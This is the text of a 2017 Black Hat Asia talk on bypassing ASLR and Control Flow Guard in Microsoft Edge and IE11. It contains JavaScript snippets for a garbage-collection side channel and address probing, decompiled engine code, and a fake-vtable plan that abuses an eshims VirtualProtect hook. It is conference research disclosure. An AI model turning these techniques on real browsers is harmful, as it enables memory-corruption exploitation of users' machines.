CROSS THE WALL-BYPASS ALL MODERN MITIGATIONS OF MICROSOFT EDGE

black hat Asia 2017

Henry Li(@zenhuman)  
Jack Tang(@jacktang310)
Henry Li

- Trend Micro CDC Zeroday discovery Team
- Security Researcher
- Six Years Experience
- Expert in browser 0day vulnerability analysis, discovery and exploit.
- Won the Microsoft Mitigation Bypass Bounty in 2016
- Won the Microsoft Edge Web Platform on WIP Bounty
- MSRC Top 17 in year 2016
- twitter/weibo: zenhuman
Jack Tang

- @jacktang310
- 10+ years security
- Browser
- Document
- Mac/Windows Kernel
- Virtualization Vulnerability
Agenda

- Bypass Address Space Layout Randomization (ASLR)
- Bypass Control Flow Guard (CFG)
Bypass ASLR

- Conservative Garbage Collection Weakness
- Previous research
- Microsoft Improvements
- Overcome Microsoft’s Improvement
Conservative Mark–Sweep GC

- Garbage Collect
  - Conservative Mark–Sweep GC
    - does not distinguish between data and pointers in the program at run-time
  - Accurate garbage collection
    - have the ability to identify all pointers in the program at run-time
Mark-Sweep: Initialize phase

Root
Mark-Sweep: Mark phase
Mark-Sweep: sweep phase

Root

[Diagram of a graph with nodes and arrows representing the sweep phase of the Mark-Sweep algorithm]
Conservative Garbage Collection

```javascript
1 var str = \"hello world\"
2 // suppose the length equal to the pBuffer
3 var array = new Array( length)
4 str = null;
5 CollectGarbage( );
6 ```
weakness

JavascriptArray: 0x10 length : int

LiteralString: 0x0c pBuffer: pointer

Conservative GC evaluates Length as Pointer, Length equal pBuffer

length

Hello world...
previous research

- 2009, @yuange1975, found the Conservative GC weakness in IE9
- 2013, Dion, use the timing attack bypass ASLR on flash and Firefox
- 2013, @galois, use the timing attack bypass ASLR on IE11
- 2015, ZDI researcher use an new attack method (MemoryProtection) bypass the ASLR on IE11
ZDI research

• Side Channel: JavaScript out-of-memory exceptions can reveal information about the state of the heap.
• MemoryProtection
• Memory Pressure
• MemoryProtection
  • Free an object allocated from MemoryProtection, not free memory to the Operation System, add the memory to an waitlist
  • Waitlist memory is greater than 100,000 bytes, then do the free algorithm.
  • Free algorithm: if the waitlist memory address is not in current stack, free the memory, else not free memory
ZDI exploit method

Memory pressure  Free target memory  Memory Protection  Load dll

1MB  1MB  1MB free  Load dll
Microsoft Improvements

• Use MemGC replace the MemoryProtection
• Reduce side channel attack surface
MemoryProtection vs MemGC

- MemoryProtection
  - Do Conservative Mark–Sweep GC on Stack, Register
- MemGC
  - Do Conservative Mark–Sweep GC on Heap, Stack, Register
Reduce side channel attack surface

- Introduce Abandonment class in Rendering Engine
- Intelligent algorithms for Garbage Collection
• When Out of Memory, not throw Out-of-Memory Exceptions, just crash the current process.
Abandonment:::OutOfMemory

```javascript
function test()
{
    var gc_coords = "";
    //2M
    for( i=1;i<0x200000/4-5;i++)
    {
        gc_coords = gc_coords + i.toString() + ",";
    }
    gc_coords = gc_coords + "1018";
    array_area = [];
    try{
        for( var i=0;i<0x3000;i++)
        {
            temp_area = document.createElement("area");
            temp_area.shape = "poly";
            temp_area.coords = gc_coords;
            array_area[i] = temp_area;
        }
    }
    catch(e)
    {
        alert("out of memory");
    }
}
```
Intelligent algorithms for garbage collection

- In Microsoft Edge, when call `CollectGarbage()` function from the Javascript, the engine decides whether perform garbage collection based on a set of algorithm. So you can not real-time triggering GC to Collect Garbage.
enum HostType
{
    HostTypeDefault = 0, // Used to detect engines with uninitialized host type.
    HostTypeBrowser = 1, // Currently this implies enabled legacy language features, use it for IE.
    HostTypeApplication = 2, // Currently this implies legacy-free language features, use it for WWA.
    HostTypeWebView = 3, // Webview in a WWA/XAML app with WinRT access.
    HostTypeMin = HostTypeBrowser,
    HostTypeMax = HostTypeWebView
};

int __cdecl Js::GlobalObject::EntryCollectGarbage(int a1)
{
    int v1; // ox001
    int config; // esi@1
    int hostType; // eax@2
    int v4; // ecx@4

    v1 = *(DWORD *)(*(DWORD *)((31 + 4) + 8) + 0x218);
    ThreadContext::ProbeStack(*(ThreadContext **)v1 + 592), 0x400u, (struct Js::ScriptContext *)v1, 0);
    // ScriptContext::GetConfig
    config = *(DWORD *)(*(DWORD *)(v1 + 4) + 8) + 0x218;

    // config offset 0x30c is CollectGarbageEnabled flag,
    // in browser host, will be set to zero
    if ( *(DWORD *)(config + 0x30c) || (hostType = *(DWORD *)(config + 0x310), hostType == 2) || hostType == 3 )
    {
        config = *(DWORD *)(*(DWORD *)(v1 + 4) + 131072 & *(BYTE *)(v4 + 0x98CB));
        Memory::Recycler::CollectInternal<1073442816>();
    }
    return *(DWORD *)(*(DWORD *)(config + 500));
}
• Can prevent zdi’s exploit method

• Still used the conservative mark-sweep GC algorithm management memory

• Did not solve the problem from root cause
Bypass ASLR

• New side channel Attack Surface
• Real-time triggering GC
• Bypass ASLR
New side channel Attack Surface

- When use the following code to alloc an ArrayBuffer, if process don't have Contiguous block of memory is larger than the alloc_size, it will throw out of memory Exception. So use the following code, we can detection the state of the heap.

```javascript
try{
    var ab = new ArrayBuffer( alloc_size )
}
catch(e)
{
    alert(e.toString(e));
}
```
ArrayBuffer allocate memory

```javascript
ArrayBuffer.prototype ArrayBufferAllocate(js::ArrayBuffer* this, size_t allocSize, struct Js::DynamicTypeFlags a2, Memory::DefaultRecyclerCollectionWrapper* a4)
{

  if (allocSize > 0x40000000)
  {
    Js::JavaScriptError::ThrowTypeError(0, 0, 0);
    return;
  }

  if (a2 == Js::DynamicType::a2)
  {
    if (a4 == nullptr)
    {
      Js::JavaScriptError::ThrowTypeError(0, 0, 0);
      return;
    }

    if (unsigned int memory::PageAllocatorBase::Memory::VirtualAllocWrapper::::RequestAlloc(allocSize))
    {
      _guard_check_icall_iptr(a4);
      v5 = (int(_cdecl_cast(size_t)a4))(allocSize);
      if (v5 != 0x9) {
        _asm { int 29h ; Win8: RtlFailFast(ecx) }
        if (v5)
        {
          _guard_check_icall_iptr(a4);
          v8 = (int(_cdecl_cast(size_t)a4))(allocSize);
          if (v8 != 0x9)
          {
            _asm { int 29h ; Win8: RtlFailFast(ecx) }
            if (v8)
            {
              Memory::PageAllocatorBase::Memory::VirtualAllocWrapper::::ReportFailure(allocSize);
            }
          }
        }
      } else {
        Js::JavaScriptError::ThrowOutOfMemoryError({struct Js::ScriptContext*}v9);
        _JumpAt(loc_16266678);
      }
    }
    v6 = (unsigned)(0x10) * a4;
    *(DWORD *)(v6 + (a2 == Js::DynamicType::a2 ? 0 : (size_t)a4)) = allocSize;
  }
  return v5;
```
Real-time triggering GC

• In Chakra Engine, the `CollectGarbage` function does nothing, when you call it, it won’t Collect the Garbage.

• In Chakra Engine, function `memory::recycler::largealloc<0> alloc large memory`, when you allocate an memory by `largealloc<0>`, it will check the GC manager’s Memory whether meet the needs of users to allocate memory. If not, it will trigger mark-sweep Garbage Collect immediately.
int __fastcall Memory::Recycler::LargeAlloc(0)(void *this, int a2, int a3, int a4)
{
    int v4; // esi @1
    void *v5; // ebx @1
    int result; // eax @1
    void (*v7)(void); // edi @4
    int v8; // [esp+0H] [ebp-14H] @4
    int v9; // [esp+10H] [ebp-4H] @3

    v4 = a3;
    v5 = this;
    result = Memory::Recycler::TryLargeAlloc(a2, a3, a4, 0);
    if (!result)
    {
        // TryLargeAlloc alloc memory fail, call CollectNow
        Memory::Recycler::CollectNow<16>(v5);
        result = Memory::Recycler::TryLargeAlloc(a2, a3, a4, 0);
        v9 = result;
        if (!result)
        {
            v7 = (void (*)(void))(((DWORD *)v5 + 11095));
            __guard_check_icall_Icall_Fptr( (((DWORD *)v5 + 11095)));
            v7();
            if ( v8 != 808 )
                __asm { int 29h ; Win8:RtlFailFast(ecx) }
            result = v9;
            v4 = a3;
        }
    }
    *((DWORD *)v5 + 4277) += v4;
    return result;
}
```javascript
function myCollectGarbage() {
    try {
        gc_slice = gc_memory.slice(0, gc_memory.length);
    } catch (e) {
        var message = e;
    }
}
```
Suppose the size of the dll which will be loaded in process is **target_vm_size**

1. Allocate memory in a pattern:

   1> Allocate target memory: Allocate a regions which the virtual address space size is **target_vm_size**, and the virtual address space’s begin address (call it **target_address**) is belongs to [guess_begin_address, guess_end_address], call this memory **target_memory**.

   2> Do memory pressure: Allocate memory, make sure there is not a continuous vm space which size is greater than **target_vm_size**.

2. Create an spointer_array, save the address which in [guess_begin_address, guess_end_address] and the address%0x1000 is zero.

3. Freed the target_memory, called myCollectGarbage().

4. Calculate the target_address

   Traverse spointer_array, for each index in array, do the following things:

   1> Set spointer_array[index] = 0;

   2> Load the target dll to process in try/catch statement, if it throw an exception, continue to next loop. Else, load dll success, the target_address equal guess_begin_address + index*0x1000

**Exploit step in IE11**
Calculate the target_address

Begin

1. i < spointer_array.length
   
   - Y: spointer_array[i] = 0
     myCollectGarbage()
     Load dll in try/catch
     Load success
     - Y: target_address = guess_begin_address + i*0x1000
     - N: No, throw out of memory exception

   - N: end

2. i = i + 1

end
Exploit: Memory

arraybuffer_address = target_address

1MB
Exploit: Data reference to target memory

Code in IE11

```javascript
var index = 0;
for (var tempAddr = guess_begin_address; tempAddr < guess_end_address; tempAddr = tempAddr + 0x1000)
{
    spointer_array[index] = tempAddr;
    index = index + 1;
}
```
Exploit: two references

arraybuffer_address = target_address

array[target_index] = target_address
Exploit: arraybuffer free

1MB

array[target_index] = target_address
Exploit: Calculate the target_address

• Code in IE11

```javascript
for(var i=0;i<spointer_array.length;i++)
{
    spointer_array[i] = 0;
    myCollectGarbage();
    try{
        var ab = new ArrayBuffer( target_vm_size);
    }
    catch(e){}
}
```
Exploit: Calculation target_address

New attempt to allocate 1MB results: out-of-memory exception

New attempt to allocate 1MB results: succeeds
Exploit:target memory free

1MB
Exploit: Load dll

```
dll_base_address = guess_start_address + target_index*0x1000

Windows.data.pdf.dll
```

---

TREND MICRO™
Demo 1: Bypass ASLR in Microsoft Edge
Demo 2: Bypass ASLR In IE11 on Windows 10
The impact of this weakness

- Affect All the Microsoft Browser use the Conservative GC
- Microsoft Edge in Windows 10
- Internet Explorer 8,9,10,11 on all windows platform
Bypass CFG

- Bypass CFG
Why we need CFG bypass vulnerability

Before CFG

xchg eax,esp;retn
Fake virtual_table
......
Offset: stack pivot
rop gadgets
shellcode
//ecx pointer object
MOV EAX,[ECX]
CALL [EAX + offset]

After CFG

xchg eax,esp;retn
Fake virtual_table
......
Offset: stack pivot
rop gadgets
shellcode
//ecx pointer to object
MOV EAX,[ECX]
__guard_check_icall_fptr
CALL [EAX + offset]
Eshims bypass CFG

- `eshims!VirtualProtect` to bypass CFG and DEP
- Vuln Type: Call Sensitive API out of context
- Module: Eshims
- Operation System: Windows 10 14367 32 bit
- BYPASS CFG/DEP
Eshims Architecture in Microsoft Edge

Frame Process(Broker)
(browser_broker.exe)

COM Objects
- Known broker Objects
- User Broker Object

Edge Shims
Tab Process(Sandboxed)
(MicrosoftEdgeCP.exe)
(AppContainer)

COM IPC
- COM OBJECTS CALL

API CALL

Operation System

API CALL
(Sandboxed)
Eshims hook functions

• `eshims.dll` is a module in Microsoft Edge
• `eshims` have following hook functions, the functions are CFG valid.

```
ESHimsINS_ACGLockdownTelemetry::APIHook_VirtualProtect
ESHimsINS_ACGLockdownTelemetry::APIHook_VirtualAllocEx
ESHimsINS_ACGLockdownTelemetry::APIHook_WriteProcessMemory
ESHimsINS_ACGLockdownTelemetry::APIHook_MapViewOfFileEx
ESHimsINS_ACGLockdownTelemetry::APIHook_VirtualProtectEx
ESHimsINS_ACGLockdownTelemetry::APIHook_MapViewOfFile
ESHimsINS_ACGLockdownTelemetry::APIHook_SetProcessValidCallTargets
```
Eshims exploit

NS_ACGLockdownTelemetry::APIHook_VirtualProtect
(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flNewProtect,
    PDWORD lpfOldProtect,
)

CDOMTextNode::substringData
(
    CDOMTextNode* this,
    int offset,
    int count,
    char** ppNewString
)

; __int32 __stdcall CDOMTextNode::substringData(CDOMTextNode *this, __int32, __int32, unsigned __int16 **)?
substringData@CDOMTextNode@0@QAGJJPAPAPG92 proc near
    ; CODE XREF: CDOMTextNode::ie9_substringData(long,long,ushort * *)+6fj
    ; DATA XREF: .text:1095D0540

TREND MICRO
Eshims exploit

CDOMTextNode
  0x00 pvFakeTable

pDOMTextNode->substringData(0x1000, 0x40)

EShims!NS_ACGLockdownTelemetry::APIHook_VirtualProtect (pDOMTextNode, 0x1000, 0x40, addressOnStack)

pvFakeTable
  0x00: Function 1 address
  0x04: Function 2 address
  0x08: Function 1 address
  0x0C:......
  0x300
  EShims!NS_ACGLockdownTelemetry::APIHook_VirtualProtect
  ......

pDOMTextNode’s PAGE

PAGE_EXECUTE_READWRITE
Acknowledgement

• ZDI Researchers: Abdul-Aziz Hariri, Simon Zuckerbraun, Brian Gorenc

• @yuangel1975, @galois
References

• Abdul-Aziz Hariri, Brian Gorenc, Simon Zuckerbraun
  Abusing Silent Mitigations: Understanding weaknesses within Internet Explorer’s Isolated Heap and Memory Protection

• Henry Li  Microsoft Edge MemGC Internals